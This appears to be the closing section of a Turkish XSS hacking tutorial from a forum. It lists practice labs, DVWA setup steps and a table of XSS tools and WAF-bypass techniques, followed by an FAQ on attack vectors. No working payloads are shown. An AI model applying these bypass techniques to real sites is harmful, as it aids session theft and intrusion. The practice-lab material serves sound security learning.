WAF⭐⭐⭐YüksekYüksek

🧪 BÖLÜM 9: XSS LABORATUVARI (KENDİN DENE)​

Teorik bilgi yeterli değil. Pratik yapman lazım.

9.1. Ücretsiz Online Platformlar​



PlatformAçıklamaLink
PortSwigger XSS Labs20+ lab, her tür XSS içinportswigger.net/web-security/cross-site-scripting
XSS Game (Google)6 seviye, eğlencelixss-game.appspot.com
Alert(1) to winZorlu, ileri seviyealf.nu/alert1
Prompt(1) to winDaha zorprompt.ml
XSS Challenges16 seviyexss-quiz.int21h.jp

9.2. Yerel Lab Kurulumu (DVWA)​

DVWA (Damn Vulnerable Web Application) – Tüm XSS türlerini içerir.

Kurulum (XAMPP ile):

bash
1. XAMPP'i indir ve kur (apache + mysql)
2. DVWA'yı indir: https://github.com/digininja/DVWA
3. DVWA klasörünü C:\xampp\htdocs\ altına koy
4. XAMPP Control Panel'de Apache ve MySQL'i başlat
5. Tarayıcıda http://localhost/DVWA
6. Login: admin / password
7. DVWA Security'yi "low" yap
8. XSS (Reflected, Stored, DOM) bölümlerini dene

9.3. Web Security Academy (PortSwigger)​

Ücretsiz kayıt ile 20'den fazla XSS lab'ı var. Her lab'da çözüm videosu ve açıklama mevcut.


📊 BÖLÜM 10: ÖZET – XSS TEKNİKLERİ VE ARAÇLARI TABLOSU​



Teknik / AraçKullanım AmacıZorlukBaşarı Oranı
Manuel test (payload gönderme)Tüm parametreleri test etmekKolayOrta
XSStrikeOtomatik WAF bypassOrtaYüksek
DalfoxHızlı parametre taramaKolayYüksek
Burp IntruderBrute-force payloadOrtaYüksek
XSS HunterBlind XSS tespitiKolayYüksek
Encoding katmanlarıWAF bypassOrtaYüksek
Event handler'lar<script> filtrelenmişseKolayÇok yüksek
DOM basedSource-sink analiziZorDüşük
Stored XSSKalıcı XSS bulmaOrtaOrta

🧠 BÖLÜM 11: XSS HAKKINDA SIK SORULANLAR​

S1: XSS ile SQL injection arasındaki fark nedir?​

  • SQLi: Veritabanına saldırır, veri çalar veya siler.
  • XSS: Tarayıcıda çalışan JavaScript, kullanıcının oturumunu ele geçirir.

S2: XSS sadece <script> ile mi olur?​

Hayır. Event handler'lar (onerror, onload), javascript: protokolü, CSS expression, <iframe>, <object>, <embed>, <svg>, <math> gibi birçok yöntemle XSS yapılabilir.

S3: WAF'lar XSS'i tamamen engeller mi?​

Hayır. Yukarıdaki bypass teknikleri sayesinde çoğu WAF aşılabilir. Özellikle encoding katmanları ve obfuscation ile.

S4: XSS ile sunucuya dosya yükleyebilir miyim?​

Doğrudan hayır, ama XSS ile kullanıcıyı yönlendirip dosya yükleme formunu doldurtabilirsin.

S5: XSS ile ransomware yayılır mı?​

Teorik olarak evet, eğer stored XSS varsa ve her sayfaya enjekte edilebiliyorsa, tüm kullanıcıların dosyalarını şifreleyen bir JavaScript yazılabilir (ancak modern tarayıcılarda kısıtlamalar var).


⚠️;​

XSS, web'in en eski ama hala en yaygın güvenlik açıklarından biridir. Bu rehberde öğrendiklerini sadece izinli sistemlerde ve eğitim amaçlı kullan. Yetkisiz sistemlerde XSS açığı aramak veya istismar etmek yasa dışıdır, hapis cezası vardır.

Kendini geliştirmek için DVWA, PortSwigger lab'ları ve XSS game sitelerinde pratik yap. Unutma, en iyi hacker kendi sistemini koruyabilendir.

Bu rehber, eğitim ve bilgilendirme amaçlıdır. Tüm sorumluluk kullanıcıya aittir.
 
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl
133,010Konular
3,284,622Mesajlar
318,312Kullanıcılar
Sherlok_botSon Üye
Üst Alt